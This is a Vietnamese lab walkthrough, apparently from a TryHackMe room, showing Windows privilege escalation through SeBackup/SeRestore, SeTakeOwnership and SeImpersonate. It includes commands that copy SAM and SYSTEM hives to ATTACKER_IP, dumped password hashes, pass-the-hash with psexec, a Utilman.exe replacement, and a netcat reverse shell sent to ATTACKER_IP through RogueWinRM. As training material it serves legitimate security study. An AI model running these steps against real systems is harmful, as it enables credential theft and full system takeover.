Windows Privileges
Đặc quyền là các quyền được dùng để thực hiện một số tác vụ cụ thể:
- Danh sách các đặc quyền trong Windows: Privilege Constants (Authorization).
- Danh sách các đặc quyền mà có thể sử dụng để leo thang đặc quyền: Priv2Admin
Ta có thể kiểm tra đặc quyền được gán cho người dùng hiện tại như sau:
whoami /priv
Chúng ta sẽ sử dụng một số đặc quyền mà ta có để leo thang lên user administrator.
SeBackup / SeRestore
Hai đặc quyền này cho phép người dùng có thể thực hiện đọc và ghi bất cứ file hệ thống nào mà không cần quan tâm đến DACL. Ý tưởng cho các đặc quyền này là để cho phép một số người dùng có thể backup hệ thống mà không cần đầy đủ các đặc quyền.
Chúng ta sẽ lạm dụng hai đặc quyền này để sao chép registry SAM và SYSTEM sang attacking machine.
Trước tiên ta cần dùng chương trình Remote Desktop Connection để kết nối đến target machine bằng tài khoản có hai đặc quyền trên.
Kiểm tra đặc quyền thì thấy ta được gán hai đặc quyền cần có:
C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Sau đó, chạy command prompt với quyền administrator và lưu lại registry SAM và SYSTEM:
C:\> reg save hklm\system C:\Users\THMBackup\system.hive
The operation completed successfully.
C:\> reg save hklm\sam C:\Users\THMBackup\sam.hive
The operation completed successfully.
Ở attacking machine, tạo thư mục share
và dùng chương trình impacket-smbserver để khởi chạy một SMB server ở thư mục cha của thư mục share
như sau:
sudo impacket-smbserver -smb2support -username THMBackup -password CopyMaster555 public share
Với username và password là của user mà ta có đặc quyền SeBackup và SeRestore, còn public
là tên của chia sẻ và share
là tên của thư mục cần chia sẻ.
Ở phía target machine, ta sao chép hai registry đã lưu vào thư mục share của attacking machine:
C:\> copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\
C:\> copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\
Kế đến, dùng chương trình impacket-secretsdump
để lấy ra các hashed password của các người dùng (chạy ở trên attacking machine):
impacket-secretsdump -sam sam.hive -system system.hive LOCAL
Output có thể có dạng như sau:
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1205a84d07b0e3b34f5:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:58f8e0214224aebc2c5f82fb7cb47ca1:::
THMBackup:1008:aad3b435b51404eeaad3b435b51404ee:6c252027fb2022f5051e854e08023537:::
THMTakeOwnership:1009:aad3b435b51404eeaad3b435b51404ee:0af9b65477395b680b822e0b2c45b93b:::
[*] Cleaning up...
Ta thấy được hashed password của administrator là:
aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1205a84d07b0e3b34f5
Giá trị này bao gồm LMHash và NTHash.
Tiếp tục dùng chương trình impacket-psexec để đăng nhập vào target bằng user administrator và hashed password như trên.
impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1205a84d07b0e3b34f5 administrator@TARGET_IP
Lúc này, ta sẽ nhận được một reverse shell của administrator.
SeTakeOwnership
Đặc quyền này cho phép ta sở hữu bất kỳ object nào của hệ thống. Lạm dùng điều này, ta có thể thay thế các file thực thi mà được chạy dưới quyền administrator thành file thực thi mà ta muốn.
Trước tiên, kiểm tra đặc quyền của user hiện tại để đảm bảo rằng ta được gán quyền SeTakeOwnership:
C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ======================================== ========
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Ta sẽ lạm dụng chương trình utilman.exe
để leo thang đặc quyền. Chương trình này cung cấp các tùy chọn Ease of Access như hình sau:
Tiến hành lấy quyền sở hữu utilman.exe
:
C:\> takeown /f C:\Windows\System32\Utilman.exe
SUCCESS: The file (or folder): "C:\Windows\System32\Utilman.exe" now owned by user "WINPRIVESC2\thmtakeownership".
Có quyền sở hữu không đồng nghĩa với việc ta có toàn quyền, nhưng ta có thể gán cho quyền cho nó:
C:\> icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
processed file: Utilman.exe
Successfully processed 1 files; Failed processing 0 files
Sau đó ta sao chép chương trình cmd.exe
và ghi đè lên Utilman.exe
như sau:
C:\Windows\System32\> copy cmd.exe utilman.exe
1 file(s) copied.
Cuối cùng, lock màn hình và sử dụng các tùy chọn Ease of Access. Khi đó, ta sẽ nhận được một chương trình cmd.exe
được thực thi bằng quyền administrator.
SeImpersonate / SeAssignPrimaryToken
SeImpersonate và SeAssignPrimaryToken giúp người dùng có thể chạy tiến trình hoặc thread dưới danh nghĩa một user khác.
Ví dụ, hai đặc quyền này giúp user ftp
chạy FTP service có thể dùng token của người dùng để truy cập đến các tập tin của người dùng đó. Minh họa:
Nếu chúng ta kiểm soát được một tiến trình mà có đặc quyền SeImpersonate và SeAssignPrimaryToken thì ta có thể giả danh bất cứ người dùng nào kết nối đến tiến trình đó.
Để leo thang đặc quyền sử dụng hai đặc quyền trên, ta cần:
- Chạy tiến trình mà user có thể kết nối đến và xác thực để ta có thể giả danh.
- Tìm cách ép một user có đặc quyền kết nối đến và xác thực tiến trình độc hại mà ta sở hữu.
Cụ thể, ta sẽ sử dụng RougeWinRM exploit. Exploit này hoạt động như sau:
- Bất cứ khi nào một user (kể cả những user không có đặc quyền) khởi chạy dịch vụ BITS ở trên Windows, nó sẽ tạo một kết nối đến port 5985 sử dụng các đặc quyền của SYSTEM.
- Port 5985 thường được sử dụng bởi WinRM service, là một dịch vụ cho phép ta có thể kết nối từ xa đến máy tính thông qua PowerShell (tương tự như SSH).
- Trong trường hợp WinRM không hoạt động, ta có thể tạo ra một dịch vụ WinRM giả chạy ở port 5985 để nhận kết nối và xác thực từ người dùng SYSTEM.
Trước tiên, ta cần đảm bảo là mình có đủ các đặc quyền cần có như trong các kỹ thuật trước. Sau đó, chuyển file RougeWinRM.exe
sang cho target machine. Giả sử exploit này nằm ở thư mục C:\tools\RogueWinRM
của target machine.
Khởi chạy Netcat server ở attacking machine:
nc -vnlp 8888
Chạy câu lệnh sau ở target machine:
c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe ATTACKER_IP 8888"
Với:
p
để mô tả file thực thi cần chạy: ta cần chạy Netcat để gửi reverse shell.a
để liệt kê các tham số của tiến trình: ở đây ta sẽ tạo reverse shell sử dụngcmd.exe
và kết nối đến ATTACKER_IP có port là 8888.
Chờ một chút và ta sẽ nhận được reverse shell của user SYSTEM ở phía attacking machine.